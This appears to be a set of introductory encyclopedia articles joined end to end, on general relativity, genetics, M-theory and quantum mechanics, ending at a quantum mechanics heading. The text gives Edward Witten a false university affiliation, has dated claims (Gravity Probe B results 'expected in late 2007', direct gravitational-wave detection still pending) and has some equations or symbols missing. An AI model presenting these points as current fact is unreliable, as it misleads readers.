          The elementary objects of geometry  points, lines, triangles  are traditionally defined in three-dimensional space or on two-dimensional surfaces. In 1907, however, the mathematician Hermann Minkowski introduced a geometric formulation of Einstein's special theory of relativity in which the geometry included not only space, but also time. In this extended geometry, space is replaced by a four- dimensional entity called spacetime. The orbits of moving bodies  bodies changing their position in space over time  are lines in spacetime; the orbits of bodies moving at constant speed without changing direction then correspond to straight lines.


          For surfaces, the generalization from the geometry of a plane  a flat surface  to that of a general curved surface had been described in the early nineteenth century by Carl Friedrich Gauss, and this had been generalized to higher dimensional spaces in a mathematical formalism introduced by Bernhard Riemann in the 1850s. With the help of Riemannian geometry, Einstein formulated a geometric description of gravity in which Minkowski's spacetime is replaced by distorted, curved spacetime, just as curved surfaces are a generalization of ordinary plane surfaces.


          Even after he had realized the validity of this geometric analogy, it took Einstein three years to find the missing cornerstone of his theory: the equations describing how the matter in a spacetime influences its curvature. Having formulated what are now known as Einstein's equations (or, more precisely, his field equations of gravity), he presented his new theory of gravity at several sessions of the Prussian Academy of Sciences in late 1915.


          


          Geometry and gravitation


          Paraphrasing the doyen of American relativity research, John Wheeler, Einstein's geometric theory of gravity can be summarized thus: spacetime tells matter how to move; matter tells spacetime how to curve. What this means requires the understanding of three things: first, the motion of particles which are so small that their effect on the gravitional field they move in is negligible; second, the nature of matter as a source for gravity; third, Einstein's equation, which shows how this matter source is related to the curvature of spacetime.


          


          Probing the gravitational field
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          In order to map a body's gravitational influence, it is useful to look at what physicists call probe or test particles  particles that are influenced by gravity, but are so small and light that we can neglect their own gravitational effect. In the absence of gravity and other external forces, a test particle moves along a straight line at a constant speed. In the language of spacetime, this is equivalent to saying that such test particles move along straight world lines in spacetime. In the presence of gravity, however, spacetime is non-Euclidean, or curved in an analogous way to a two-dimensional surface such as a sphere. In such a spacetime, straight world lines may not exist; instead test particles move along lines called geodesics, which are "as straight as possible". The term geodesic comes from geodesy, the science of measuring the size and shape of Earth; in the original sense, a geodesic was the shortest route between two points on the Earth's surface, namely a segment of a great circle, such as a line of longitude or the equator. These paths are not straight because they must follow the curvature of the Earth's surface, but they are as straight as possible subject to this constraint.


          The properties of geodesics differ from those of straight lines. For example, in a plane, straight lines that start out in parallel directions will remain at a constant distance from each other. This is not the case for geodesics on the surface of the Earth: for example lines of longitude are parallel at the equator, but intersect at the pole. The world lines of test particles in free fall are spacetime geodesics  they are the straightest possible lines in spacetime  but there are analogous important differences between them and the truly straight lines in the gravity-free spacetime of special relativity. In special relativity, parallel geodesics remain parallel, whereas in a gravitational field with tidal effects, this need not be the case. For example, if two bodies, initially at rest relative to each other, are dropped in the Earth's gravitational field, they will move towards each other as they fall towards the centre of the Earth.


          In going from test particles to real matter objects, the laws of motion become somewhat more complicated, but it remains true that spacetime tells matter how to move. Compared with planets and other astronomical bodies, the objects of everyday life (people, cars, houses, even mountains) have comparatively little mass. Where such objects are concerned, the laws governing the behaviour of test particles are perfectly sufficient to describe what happens. Notably, in order to deflect a test particle from its geodesic path, an external force must be applied. A person sitting on a chair is trying to follow a geodesic ( free fall towards the centre of the Earth), but the chair applies an external upwards force preventing the person from falling. In this way, general relativity explains the daily experience of gravity on the surface of the Earth not as the downwards pull of a gravitational force, but as the upwards push of external forces which deflect bodies on the Earth's surface from the geodesics they would otherwise follow.


          Einstein's equations


          Einstein's equations are the centerpiece of general relativity. They provide a precise formulation, using the language of mathematics, of the relationship between spacetime geometry and the properties of matter.
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          These equations are formulated using the language of Riemannian geometry, in which the geometric properties of a space (or a spacetime) are described by a quantity called a metric. The metric encodes the information needed to compute the fundamental geometric notions of distance and angle in a curved space (or spacetime).


          A spherical surface like that of the Earth provides a simple example. The location of any point on the surface can be described by two coordinates: the geographic latitude and longitude. However, unlike the Cartesian coordinates of the plane, coordinate differences are not the same as distances on the surface, as shown in the diagram on the right: for someone at the equator, moving 30 degrees of longitude westward (magenta line) corresponds to a distance of roughly 3,300kilometers (2,051mi); for someone at a latitude of 55 degrees, moving 30 degrees of longitude westward (blue line) covers a distance of merely 1,900kilometers (1,181mi). Coordinates therefore do not provide enough information to describe the geometry of a spherical surface, or indeed the geometry of any more complicated space or spacetime: additional information is needed to convert coordinate differences to real distances. This is precisely the information encoded in the metric: it is a function defined at each point of the surface (or space, or spacetime) which describes how much the space is stretched near that point. All other quantities that are of interest in geometry, such as the length of any given curve, or the angle at which two curves meet can be computed from this metric function.


          The amount of stretching there is at each point of a space (or spacetime) determines how curved it is. More precisely, the metric function and the rate at which it changes from point to point can be used to define a geometrical quantity called the Riemann curvature tensor, which describes exactly how the space (or spacetime) is curved at each point. In general relativity, the metric and the Riemann curvature tensor are quantities defined at each point in spacetime. The matter content of the spacetime defines another quantity, the Energy-momentum tensor T, and the principle that "spacetime tells matter how to move, and matter tells spacetime how to curve" means that these quantities must be related in some way. Einstein found this relation by using the Riemann curvature tensor and the metric to define another geometrical quantity G, now called the Einstein tensor, which describes some aspects of the way spacetime is curved. Einstein's equation then states that
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          i.e., up to a constant multiple, the quantity G (which measures curvature) is equated with the quantity T (which measures matter content). The constants involved in this equation reflect the different theories that went into its making: G is the gravitational constant that is already present in Newtonian gravity; c is the speed of light, the key constant in special relativity; and  is one of the basic constants of geometry. The appearance of  in the equation is associated with the area (4) of the unit sphere, whereas the constants c and G are needed to convert the quantity T (which has physical units) into purely geometrical units.


          This equation is often referred to in the plural as Einstein's equations, since the quantities G and T are each determined by ten functions of the coordinates of spacetime, and the equations equate each of these component functions. However, because of the freedom to change the four coordinates in which the equations are expressed, there are actually only six physical equations that must be satisfied at every point in spacetime. A solution of these equations describes a particular geometry of space and time; for example, one solution describes the geometry around a spherical, non-rotating mass such as a star or a black hole, whereas another describes a rotating black hole. Still other solutions can describe a gravitational wave or the expansion of the universe. The simplest solution is the uncurved Minkowski spacetime, the spacetime described by special relativity.


          


          Experimental tests


          No scientific theory is apodictically true; each is a model that must be checked by experiment. Newton's law of gravity was accepted because it accounted for the motion of planets and moons in the solar system with exquisite accuracy. However, as the precision of experimental measurements gradually improved, some discrepancies with Newton's predictions were observed. These discrepancies were accounted for in the general theory of relativity, but the predictions of that theory must also be checked with experiment. Three experimental tests were devised by Einstein himself and are now known as the classical tests of the theory:
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            	Newtonian gravity predicts that the orbit of a single planet orbiting a perfectly spherical star should be an ellipse. Einstein's theory predicts a more complicated orbit in which the planet behaves as if it were travelling around an ellipse, but the ellipse itself is slowly rotating around the star at the same time. In the diagram on the right, the ellipse of Newtonian gravity is shown in red, the orbit predicted by Einstein in blue. For a planet orbiting the Sun, this deviation from Newton's orbits is known as the anomalous perihelion shift. The first measurement for Mercury dates back to 1859; the most accurate results for Mercury and for other planets to date are based on measurements using radio telescopes that were undertaken between 1966 and 1990. General relativity predicts the correct anomalous perihelion shift for all planets where this can be measured accurately (Mercury, Venus and the Earth).


            	Einstein's theory predicts that light rays do not follow straight lines in a gravitational field; there is a gravitational deflection. In particular, starlight is deflected as it passes the Sun so that the positions of stars appear shifted by up to 1.75 arc seconds. In contrast, since the photon is a massless particle, a direct application of Newtonian gravity predicts it should not be deflected at all; a more subtle application of Newtonian gravity, discovered in 1804 by J.G. von Soldner using particles of infinitesimal mass, can be used to predict a deflection, but this deflection is half the amount of that predicted by Einstein. These predictions can be tested by observing stars in the Sun's vicinity during a solar eclipse. During the total eclipse of 1919, a British expedition to Brazil and West Africa, directed by Arthur Eddington, confirmed that Einstein's prediction was correct, and the Newtonian predictions wrong. Eddington's results were not very accurate; subsequent observations of the deflection of the light of distant quasars by the Sun, which utilize highly accurate techniques of radio astronomy, have confirmed Eddington's results with significantly better precision (the first such measurements date from 1967, the most recent comprehensive analysis from 2004).


            	Gravitational redshift has been measured in a laboratory setting ( Pound and Rebka, 1959) as well as in astrophysics (for instance on Sirius B, with increasingly accurate measurements between the 1950s and 2005); the related gravitational time dilation effect has been measured by transporting atomic clocks to altitudes of up to tens of thousands of kilometers (first by Hafele and Keating in 1971; most accurately to date by Gravity Probe A launched in 1976).

          


          Of these tests, only the perihelion advance of Mercury was known prior to Einstein's final publication of general relativity in 1916. The subsequent experimental confirmation of his other predictions, especially the first measurements of the deflection of light by the sun in 1919, catapulted him to international stardom. These three experimental tests justified adopting general relativity over Newton's theory and, incidentally, over a number of alternatives to general relativity that had been proposed.
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          Further tests of general relativity include precision measurements of the Shapiro effect or gravitational time delay for light (most recently in 2002 by the Cassini space probe) and measurements of effects predicted by general relativity for the behaviour of gyroscopes travelling through space. For example geodetic precession has been tested with Lunar laser ranging experiments (high precision measurements of the orbit of the Moon), while frame-dragging will be tested by the Gravity Probe B satellite experiment launched in 2004 (with results expected in late 2007).


          By cosmic standards, gravity throughout the solar system is comparatively weak. Since the differences between the predictions of Einstein's and Newton's theories are most pronounced when gravity is strong, physicists have long been interested in testing various relativistic effects in a setting with comparatively strong gravitational fields. This has become possible thanks to precision observations of binary pulsars. In such a star system, two highly compact neutron stars orbit each other, of which one is a pulsar  an astronomical object that sends radio pulses that strike the Earth at very regular intervals. General relativity predicts specific deviations from the regularity of these radio pulses; for instance, at times when the radio waves pass close to the other neutron star, they should be deflected by the star's gravitational field. The observed pulse patterns are impressively close to the relativistic predictions.


          One particular set of observations is part of what is presently the only practical application of general relativity: satellite navigation systems such as the Global Positioning System that are used both for precise positioning and timekeeping. Such systems rely on two sets of atomic clocks: clocks aboard satellites orbiting the Earth, and reference clocks stationed on the Earth's surface. General relativity predicts that these two sets of clocks should tick at slightly different rates, due to their different motions (an effect already predicted by special relativity) and their different positions within the Earth's gravitational field. In order to ensure the system's accuracy, the satellite clocks are either slowed down by a relativistic factor, or that same factor is made part of the evaluation algorithm. In turn, tests of the system's accuracy (especially the very thorough measurements that are part of the definition of universal coordinated time) are testament to the validity of the relativistic predictions.


          A number of other tests have probed the validity of various versions of the equivalence principle (strictly speaking, all measurements of gravitational time dilation are tests of the weak version of that principle, not of general relativity itself). So far, general relativity has passed all observational tests.


          


          Astrophysical applications


          Models of the astronomical phenomena based on general relativity play an important role in astrophysics, and the success of these models is further testament to the theory's validity.


          


          Gravitational waves
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          Gravitational waves, a direct consequence of Einstein's theory, have been detected indirectly in binary stars. Such pairs of stars orbit each other, and gradually lose energy by emitting gravitational waves. This energy loss is normally so gradual that it is difficult to detect. However, in 1974, this energy loss was observed in a binary pulsar called PSR1913+16; the discoverers, Hulse and Taylor, were awarded the Nobel prize in physics in 1993. Since then, several other binary pulsars have been found; the most useful are those in which both stars are pulsars, since they provide the most accurate tests of general relativity. Pulsars are neutron stars that emit a narrow beam of electromagnetic radiation from their poles. As the pulsar rotates, its beam sweeps over the Earth, where it is seen as a regular series of radio pulses, just as a ship at sea observes regular flashes of light from the rotating light in a lighthouse. This regular pattern of radio pulses is useful as a highly accurate "clock" that reports on the activity in its neighbourhood.


          Currently, one major goal of research in relativity is the direct detection of gravitational waves. To this end, a number of land-based gravitational wave detectors are in operation, and a mission to launch a space-based detector, LISA, is currently under development, with a precursor mission ( LISA Pathfinder) due for launch in late 2009. If gravitational waves are detected, they could be used to obtain information about compact objects such as neutron stars and black holes, and also to probe the state of the early universe fractions of a second after the Big Bang.
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          Gravitational lensing


          Since light is deflected by mass, it is possible for the light of a distant object to reach an observer along two or more paths. For instance, light of a very distant object such as a quasar can pass along one side of a massive galaxy and be deflected slightly so as to reach an observer on Earth, but light passing along the opposite side of that same galaxy could be deflected as well, reaching the same observer, but from a slightly different direction. Similar phenomena are well-known for optical lenses, which can focus different light rays onto a single point, and so the corresponding gravitational effect is called gravitational lensing. The result is that an observer will see two or more different images of the same astronomical object in the night sky.


          Observational astronomy uses lensing effects as an important tool to infer properties of the lensing object: the shape of a lensed image, even if the lensing object is not directly visible, provides information about the mass distribution of the lensing object. In particular, gravitational lensing provides one way to detect dark matter: such lensing configurations are often very large, spanning a significant fraction of the extent of the observable universe. In consequence, they can be used to obtain information about the large-scale properties of our cosmos, notably about the Hubble constant, a measure of the universe's ongoing expansion.


          


          Black holes
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          When mass is concentrated into a sufficiently compact region of space, general relativity predicts the formation of a black hole  a region of space with a gravitational attraction so strong that not even light can escape. Certain types of black holes are thought to be the final state in the evolution of massive stars. Supermassive black holes with the mass of millions or billions of Suns are thought to be present in the cores of most galaxies. They play a key role in current models of how galaxies have formed over the past billions of years.


          Matter falling onto a compact object is one of the most efficient mechanisms for releasing energy in the form of radiation, and matter falling onto black holes is thought to be responsible for some of the brightest astronomical phenomena imaginable. Notable examples of great interest to astronomers are quasars and other types of active galactic nuclei. Under the right conditions, falling matter accumulating around a black hole can lead to the formation of jets, in which focused beams of matter are flung away into space at speeds near that of light.


          Black holes are promising sources of gravitational waves. One reason is that black holes are the most compact objects that can orbit each other as part of a binary system; as a result, the gravitational waves emitted by such a system are especially strong. Another reason follows from what are called black hole uniqueness theorems: over time, black holes retain only a minimal set of distinguishing features (since different hair styles are a crucial part of what gives different people their different appearances, these theorems have become known as "no hair" theorems). For instance, in the long term, the collapse of a hypothetical matter cube will not result in a cube-shaped black hole. Instead, the resulting black hole will be indistinguishable from a black hole formed by the collapse of a spherical mass, but with one important difference: in its transition to a spherical shape, the black hole formed by the collapse of a cube will emit gravitational waves.
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          Cosmology


          One of the most important aspects of general relativity is that it can be applied to the universe as a whole. All current observations suggest that the structure of the cosmos appears to be approximately the same (on average) from every point in space and in every direction of observation; in other words, the universe is approximately homogeneous and isotropic. Such comparatively simple (homogeneous and isotropic) universes can be described by simple solutions of Einstein's equations, and the current cosmological models of the universe are obtained by combining these simple solutions to general relativity with theories describing the properties of the universe's matter content, namely thermodynamics, nuclear- and particle physics. According to these models, our present universe emerged from an extremely dense high-temperature state (the Big Bang) roughly 14 billion years ago, and has been expanding ever since.


          Einstein's equations can be generalized by adding a term called the cosmological constant. When this term is present, empty space itself acts as a source of attractive or, unusually, repulsive gravity. This term was originally introduced in Einstein's first paper on cosmology in 1917 to construct a static model of the universe in line with contemporary cosmological thought. When it became apparent that the universe is not static, but expanding, Einstein was quick to discard this additional term for aesthetic reasons. However, his reaction proved to be premature. A steadily accumulating body of astronomical evidence, starting from about 1998, has shown that the expansion of the universe is accelerating in a way that suggests the presence of a cosmological constant or, equivalently, of a dark energy with specific properties that pervades all of space.


          


          Modern research: general relativity and beyond


          General relativity is very successful in providing an accurate model for an impressive array of physical phenomena, but there are many interesting open questions; in particular, the theory as a whole is almost certainly incomplete.


          Notably, in contrast to all other modern theories of fundamental interactions, general relativity is a classical theory which does not include the effects of quantum physics. The question of what a quantum version of general relativity looks like (a theory of quantum gravity) is one of the most exciting and active open problems in physics. While there are promising candidates such as string theory and loop quantum gravity, there is at present no consistent and complete theory of quantum gravity which reconciles Einstein's geometric picture of gravity with the laws of the quantum world. There is a longstanding hope that a theory of quantum gravity would also eliminate another problematic feature of general relativity: the presence of spacetime singularities. These singularities are boundaries ("sharp edges") of spacetime at which geometry becomes ill-defined and so general relativity itself loses its predictive power. Furthermore, there are singularity theorems which predict that such singularities must exist within the universe if the laws of general relativity were to hold without any quantum modifications. The best-known examples are the singularities that are believed to exist inside black holes and at the beginning of the universe.


          Other attempts to modify general relativity have been made in the context of cosmology: in the modern cosmological models, most energy in the universe is in forms that have never been detected directly, namely dark energy and dark matter. There have been several (controversial) proposals to obviate the need for these enigmatic forms of matter and energy, by modifying the laws governing gravity and the dynamics of cosmic expansion (for example, modified Newtonian dynamics first proposed in 1981, and attempts to eliminate dark energy since the re-emergence of the cosmological constant in 1998).


          It is possible that another reason to modify Einstein's theory can be found much closer to home: the Pioneer anomaly is an empirical observation that the positions of the Pioneer 10 and Pioneer 11 space probes differ very slightly from their expected positions according to known effects (gravitational or otherwise). The possibility of new physics has not been ruled out, despite thorough attempts to find more conventional explanations.


          Beyond the challenges of quantum effects and cosmology, the area of general relativity is rich with possibilities for further exploration: mathematical relativists explore the nature of singularities and the fundamental properties Einstein's equations, ever more comprehensive computer simulations of specific spacetimes (such as those describing merging black holes) are run, and the race for the first direct detection of gravitational waves continues apace. More than ninety years after the theory was first published, research is more active than ever.
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          Genetics is the study of how living things receive common traits from previous generations. These traits are described by the genetic information carried by a molecule called DNA. The instructions for constructing and operating an organism are contained in the organism's DNA. Every living thing on earth has DNA in its cells.


          A gene is a hereditary unit consisting of DNA that occupies a spot on a chromosome and determines a characteristic in an organism.


          Genes are passed on from parent to child and are an important part of what determines physical appearance and behaviour.


          A gene will also determine what traits a whole family (such as the grandfather, great grandfather, etc.), will have, because of the genes passed down in existing chromosomes.


          


          Glossary


          It helps to know the technical words used:


          
            	DNA is a long molecule that has the form of a " double helix". It resembles a ladder that has been twisted. In cells with nuclei, which make up animals and plants, the DNA is stored inside the cell nucleus, while in cells without nuclei, such as bacteria, the DNA is in the cell's cytoplasm.


            	Nucleotides form the rungs of the DNA ladder. There are four types of nucleotides, and the sequence of nucleotides carries the information in the DNA.


            	A chromosome is a package for carrying the DNA in the cells. Different species of plants and animals have different numbers of chromosomes.


            	A gene is a segment of a DNA molecule on a chromosome. The genes are like sentences built up of the "letters" of the nucleotide alphabet, and between them the genes direct the physical development and behaviour of the organism.


            	Alleles are the different forms of a given gene that an organism may possess. For example, in humans, one allele of the eye-color gene produces green eyes and another allele of the eye-colour gene produces brown eyes.


            	A population is a localized group of individuals belonging to the same species. For example, all the trout of the same species sharing a single stream is a population.


            	A gene pool is the sum of all the alleles shared by members of a single population.

          


          


          Dicovery of genetics
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          Darwins theory of natural selection laid the groundwork for evolutionary theory. However, it was the emergence of the field of genetics, pioneered by Gregor Mendel (1822-1884), that provided the missing information on how evolution works in practice. Mendels experiments with peas led him to realise that heredity in sexual reproduction works by the mixing of separate factors, not by the blending of inherited characters. This combination of Darwin's theory and our current understanding of heredity led to the birth of the scientific area called " population genetics".


          


          Genetics role in disease


          New studies are regularly being published that expose the role that the genetics play in various disorders. Some disorders are mainly hereditary, while other disorders are mainly caused by the environment - bacteria, viruses, or people's diet - and many disorders have both a hereditary as well as an environmental component. Even complex disorders, such as Leukemia have some genetic component.
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          In non-technical terms, M-theory presents an idea about the basic substance of the universe.


          The atom, long believed to be the smallest building-block of matter, in the early years of the 20th century was proven to consist of even smaller components called protons, neutrons and electrons, which are known as subatomic particles. Beginning in the 1960s, other subatomic particles were discovered. In the 1980s, it was discovered that protons and neutrons (and other hadrons) are themselves made up of smaller particles called quarks. Quantum theory is the set of rules that describes the interactions of these particles.


          In the 1980s, a new mathematical model of theoretical physics called string theory emerged. It showed how all the particles, and all of the forms of energy in the universe, could be constructed by hypothetical one-dimensional "strings," infinitely small building-blocks that have only the dimension of length, but not height or width. Further, string theory suggested that the universe is made up of multiple dimensions. We are familiar with height, width, and length as three dimensional space, and time gives a total of four observable dimensions. However, string theories supported the possibility of ten dimensions--the remaining 6 of which we can't detect directly. These "strings" vibrate in multiple dimensions, and depending on how they vibrate, they might be seen in 3-dimensional space as matter, light, or gravity. It is the vibration of the string which determines whether it appears to be matter or energy, and every form of matter or energy is the result of the vibration of strings.


          String theory then ran into a problem. Another version of the equations was discovered. Then another, and then another. Eventually, there were five major string theories, all based on a 10-dimensional universe, and all of them appeared to be correct. That was a problem, because science can't have five seemingly contradictory sets of equations to describe the same thing.


          In the mid 90s, a string theorist named Edward Witten of the University of Maryland and other important researchers considered that the five different versions of string theory might be describing the same thing seen from different perspectives. They proposed a unifying theory called "M-Theory", in which the "M" is not specifically defined, but is generally understood to stand for "membrane." M-Theory brought all of the string theories together. It did this by asserting that strings are really 1-dimensional slices of a 2-dimensional membrane vibrating in 11-dimensional space.


          M-Theory is not yet complete, but the underlying structure of the mathematics has been established, and is in agreement with not only all the string theories but with all of our scientific observations of the universe. Furthermore, it has passed many tests of internal mathematical consistency, which many other attempts to combine quantum mechanics and gravity failed. Unfortunately, until we can find a way to mechanically observe higher dimensions (impossible with our current level of technology) M-Theory has a very difficult time making predictions which can be tested in a laboratory. Technologically, it may never be possible for it to be "proven." However, many cosmologists, including Stephen Hawking, are drawn to M-Theory because of its mathematical elegance and relative simplicity. Physicist and bestselling author Michio Kaku has remarked that M-Theory may present us with a " Theory of Everything" which is so concise that its underlying formula would fit on a t-shirt.


          


          Books


          
            	Brian Greene has written books explaining string theory and M-theory for the layperson in 1999, The Elegant Universe, ISBN 0-375-70811-1 and in 2004, The Fabric of the Cosmos, ISBN 0-375-41288-3.


            	Smolin, Lee. The Trouble With Physics: The Rise of String Theory, the Fall of a Science, and What Comes Next (2006), Houghton Mifflin. ISBN 978-0-618-55105-7.


            	Woit, Peter. Not Even Wrong: The Failure of String Theory & the Continuing Challenge to Unify the Laws of Physics, 2006. ISBN 0-224-07605-1 (Jonathan Cape), ISBN 0-465-09275-6 (Basic Books)
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          Quantum mechanics (QM, or quantum theory) is a physical science dealing with the behaviour of matter and energy on the scale of atoms and subatomic particles / waves. QM also forms the basis for the contemporary understanding of how very large objects such as stars and galaxies, and cosmological events such as the Big Bang, can be analyzed and explained. Quantum mechanics is the foundation of several related disciplines including nanotechnology, condensed matter physics, quantum chemistry, structural biology, particle physics, and electronics.


          The term "quantum mechanics" was first coined by Max Born in 1924. The acceptance by the general physics community of quantum mechanics is due to its accurate prediction of the physical behaviour of systems, including systems where Newtonian mechanics fails. Even general relativity is limitedin ways quantum mechanics is notfor describing systems at the atomic scale or smaller, at very low or very high energies, or at the lowest temperatures. Through a century of experimentation and applied science, quantum mechanical theory has proven to be very successful and practical.


          


          Overview


          The foundations of quantum mechanics date from the early 1800s, but the real beginnings of QM date from the work of Max Planck in 1900. Albert Einstein and Niels Bohr soon made important contributions to what is now called the "old quantum theory." However, it was not until 1924 that a more complete picture emerged with Louis de Broglie's matter-wave hypothesis and the true importance of quantum mechanics became clear. Some of the most prominent scientists to subsequently contribute in the mid-1920s to what is now called the "new quantum mechanics" or "new physics" were Max Born, Paul Dirac, Werner Heisenberg, Wolfgang Pauli, and Erwin Schrdinger. Later, the field was further expanded with work by Julian Schwinger, Sin-Itiro Tomonaga and Richard Feynman for the development of Quantum Electrodynamics in 1947 and by Murray Gell-Mann in particular for the development of Quantum chromodynamics.
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          Early researchers differed in their explanations of the fundamental nature of what we now call electromagnetic radiation. Some maintained that light and other frequencies of electromagnetic radiation are composed of particles, while others asserted that electromagnetic radiation is a wave phenomenon. In classical physics these ideas are mutually contradictory. Ever since the early days of QM scientists have acknowledged that neither idea by itself can explain electromagnetic radiation.


          In 1690, Christian Huygens explained the laws of reflection and refraction on the basis of a wave theory. Sir Isaac Newton believed that light consisted of infinitesimally small particles which he designated "corpuscles". In 1827 Thomas Young and Augustin Fresnel made experiments on interference that showed that a corpuscular theory of light was inadequate. Then in 1873 James Clerk Maxwell showed that by making an electrical circuit oscillate it should be possible to produce electromagnetic waves. His theory made it possible to compute the speed of electromagnetic radiation purely on the basis of electrical and magnetic measurements, and the computed value corresponded very closely to the empirically measured speed of light. In 1888, Heinrich Hertz made an electrical device that actually produced what we would now call microwaves  essentially radiation at a lower frequency than visible light. Everything up to that point suggested that Newton had been entirely wrong to regard light as corpuscular.


          Later experiments indicated that a packet or quantum model was needed to explain some phenomena. When light strikes an electrical conductor it causes electrons to move away from their original positions. The observed phenomenon could only be explained by assuming that the light delivers energy in definite packets. In a photoelectric device such as the light meter in a camera, light hitting the metallic detector causes electrons to move. Greater intensities of light at one frequency can cause more electrons to move, but they will not move faster. In contrast, higher frequencies of light can cause electrons to move faster. Ergo, intensity of light controls current, but frequency of light controls voltage. These observations raised a contradiction when compared with sound waves and ocean waves, where only intensity was needed to predict the energy of the wave. In the case of light, frequency appeared to predict energy. Something was needed to explain this phenomenon and to reconcile experiments that had shown light to have particle nature with experiments that had shown it to have wave nature.


          Despite the success of quantum mechanics, it does have some controversial elements. For example, the behaviour of microscopic objects described in quantum mechanics is very different from our everyday experience, which may provoke some degree of incredulity. Most of classical physics is now recognized to be composed of special cases of quantum physics theory and/or relativity theory. Dirac brought relativity theory to bear on quantum physics so that it could properly deal with events that occur at a substantial fraction of the speed of light. Classical physics, however, also deals with mass attraction (gravity), and no one has yet been able to bring gravity into a unified theory with the relativized quantum theory.


          


          Spectroscopy and onward


          It is fairly easy to see a spectrum produced by white light when it passes through a prism, the bevelled edge of a mirror or a tapered pane of glass, or through drops of rain to form a rainbow. When samples which are composed purely of one single chemical element e.g. hydrogen, are caused to emit light they may emit light at several characteristic frequencies. The frequency profile produced is characteristic of that element. Instead of there being a wide band filled with colours from violet to red, there will be isolated bands of single colours separated by darkness. Such a display is called a line spectrum. Some lines go beyond the visible frequencies and can only be detected by special photographic film or other such devices. Scientists hypothesized that an atom could radiate light the way the string on a fine violin radiates sound  not only with a fundamental frequency (in which the entire string moves the same way at once) but with several higher harmonics (formed when the string divides itself into halves and other divisions that vibrate in coordination with each other as when one half of the string is going one way as the other half of the string is going the opposite way). For a long time nobody could find a mathematical way to relate the frequencies of the line spectrum of any element.
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          In 1885, Johann Jakob Balmer (1825-1898) figured out how the frequencies of atomic hydrogen are related to each other. The formula is a simple one:


          
            	[image:  \frac{1}{\lambda} = R\left ( \frac{1}{2^2} - \frac{1}{n^2} \right )]

          


          where  is wavelength, R is the Rydberg constant and n is an integer (n =3, 4,...) This formula can be generalized to apply to atoms that are more complicated than hydrogen, but we will stay with hydrogen for this general exposition. (That is the reason that the denominator in the first fraction is expressed as a square.)


          The next development was the discovery of the Zeeman effect, named after Pieter Zeeman (1865-1943). The physical explanation of the Zeeman effect was worked out by Hendrik Antoon Lorentz (1853-1928). Lorentz hypothesized that the light emitted by hydrogen was produced by vibrating electrons. It was possible to get feedback on what goes on within the atom because moving electrons create a magnetic field and so can be influenced by the imposition of an external magnetic field in a manner analogous to the way that one iron magnet will attract or repel another magnet.


          The Zeeman effect could be interpreted to mean that light waves are originated by electrons vibrating in their orbits, but classical physics could not explain why electrons should not fall out of their orbits and into the nucleus of their atoms, nor could classical physics explain why their orbits would be such as to produce the series of discrete frequencies derived by Balmers formula and displayed in the line spectra. Why did the electrons not produce a continuous spectrum?


          


          Old quantum theory


          Quantum mechanics developed from the study of electromagnetic waves through spectroscopy which includes visible light seen in the colours of the rainbow, but also other waves including the more energetic waves like ultraviolet light, x-rays, and gamma rays and the waves with longer wavelengths including infrared waves, microwaves and radio waves. Only waves that travel at the speed of light are included in this description. Also, when the word "particle" is used below, it always refers to elementary or subatomic particles.


          


          Planck's constant


          Classical physics predicted that a black-body radiator would produce infinite energy, but that result was not observed in the laboratory. If black-body radiation was dispersed into a spectrum, then the amount of energy radiated at various frequencies rose from zero at one end, peaked at a frequency related to the temperature of the radiating object, and then fell back to zero. In 1900, Max Planck developed an empirical equation that could account for the observed energy curves, but he could not harmonize it with classical theory. He concluded that the classical laws of physics do not apply on the atomic scale as had earlier been assumed.


          In this theoretical account, Planck allowed all possible frequencies, all possible wavelengths. However, he restricted the energy that is delivered. "In classical physics,... the energy of a given oscillator depends merely on its amplitude, and this amplitude is subject to no restriction." But, according to Planck's theory, the energy emitted by an oscillator is strictly proportional to its frequency. The higher the frequency, the greater the energy. To reach this theoretical conclusion, he postulated that a radiating body consisted of an enormous number of elementary oscillators, some vibrating at one frequency and some at another, with all frequencies from zero to infinity being represented. The energy E of any one oscillator was not permitted to take on any arbitrary value, but was proportional to some integral multiple of the frequency f of the oscillator. That is,


          
            	[image: E = nhf,\,\!]

          


          where n =1, 2, 3,... The proportionality constant h is called Planck's constant.


          One of the most direct applications is finding the energy of photons. If h is known, and the frequency of the photon is known, then the energy of the photons can be calculated. For instance, if a beam of light illuminated a target, and its frequency was 540  1012 hertz, then the energy of each photon would be h  540  1012 joules. The value of h itself is exceedingly small, about 6.6260693  10-34 joule seconds. This means that the photons in the beam of light have an energy of about 3.58  10-19 joules or (in another system of measurement) approximately 2.23 eV.


          When the energy of a wave is described in this manner, it seems that the wave is carrying its energy in little packets. This discovery then seemed to remake the wave into a particle. These packets of energy carried along with the wave were called quanta by Planck. Quantum mechanics began with the discovery that energy is delivered in packets whose size is related to the frequencies of all electromagnetic waves (and to the color of visible light since in that case frequency determines colour). Be aware, however, that these descriptions in terms of packet, wave and particle import macro-world concepts into the quantum world, where they have only provisional relevance or appropriateness.


          In early research on light, there were two competing ways to describe light, either as a wave propagated through empty space, or as small particles traveling in straight lines. Because Planck showed that the energy of the wave is made up of packets, the particle analogy became favored to help understand how light delivers energy in multiples of certain set values designated as quanta of energy. Nevertheless, the wave analogy is also indispensable for helping to understand other light phenomena. In 1905, Albert Einstein used Planck's constant to explain the photoelectric effect by postulating that the energy in a beam of light occurs in concentrations that he called light quanta, later on called photons. According to that account, a single photon of a given frequency delivers an invariant amount of energy. In other words, individual photons can deliver more or less energy, but only depending on their frequencies. Although the description that stemmed from Planck's research sounds like Newton's corpuscular account, Einstein's photon was still said to have a frequency, and the energy of the photon was accounted proportional to that frequency. The particle account had been compromised once again.


          Both the idea of a wave and the idea of a particle are models derived from our everyday experience. We cannot see individual photons. We can only investigate their properties indirectly. We look at some phenomena, such as the rainbow of colours that we see when a thin film of oil rests on the surface of a puddle of water, and we can explain that phenomenon to ourselves by comparing light with waves. We look at other phenomena, such as the way a photoelectric meter in our camera works, and we explain it by analogy to particles colliding with the detection screen in the meter. In both cases we take concepts from our everyday experience and apply them to a world we have never seen.


          Neither form of explanation, wave or particle, is entirely satisfactory. In general any model can only approximate that which it models. A model is useful only within the range of conditions where it is able to predict the real thing with accuracy. Newtonian physics is still a good predictor of many of the phenomena in our everyday life. To remind us that both "wave" and "particle" are concepts imported from our macro world to explain the world of atomic-scale phenomena, some physicists such as George Gamow have used the term "wavicle" to refer to whatever it is that is really there. In the following discussion, "wave" and "particle" may both be used depending on which aspect of quantum mechanical phenomena is under discussion.


          


          Reduced Planck's (or Dirac's) constant
